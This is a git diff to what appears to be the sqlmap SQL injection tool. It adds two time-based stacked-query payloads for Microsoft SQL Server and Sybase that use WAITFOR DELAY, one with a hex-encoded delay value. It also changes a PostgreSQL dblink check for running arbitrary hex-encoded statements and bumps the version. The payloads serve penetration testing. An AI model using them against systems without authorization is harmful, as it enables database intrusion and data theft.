diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml
index b882f158d23..c7e15ed03fe 100644
--- a/data/xml/payloads/stacked_queries.xml
+++ b/data/xml/payloads/stacked_queries.xml
@@ -328,6 +328,48 @@
         </details>
     </test>
 
+    <test>
+        <title>Microsoft SQL Server/Sybase stacked queries (no semicolon)</title>
+        <stype>4</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector> IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
+        <request>
+            <payload> WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Microsoft SQL Server/Sybase stacked queries (DECLARE - no semicolon)</title>
+        <stype>4</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] IF([INFERENCE]) WAITFOR DELAY @x</vector>
+        <request>
+            <payload> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] WAITFOR DELAY @x</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
         <stype>4</stype>
diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index c5809d060a7..e2fb53db9fc 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -139,7 +139,7 @@
         </procedures>
         <gadgets>
             <!-- Out-of-technique statement execution when stacked queries are not available (e.g. WHERE clause injection). The '%s' placeholder receives the hex-encoded statement, rebuilt server-side to survive string escaping. -->
-            <dblink check="(SELECT COUNT(*) FROM pg_extension WHERE extname='dblink')&gt;0" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
+            <dblink check="(SELECT dblink_exec('dbname='||current_database(),'RESET application_name') IS NOT NULL)" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
         </gadgets>
         <dbs>
             <inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
diff --git a/lib/core/settings.py b/lib/core/settings.py
index fb7a90de751..9c562045800 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.8.50"
+VERSION = "1.10.8.52"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)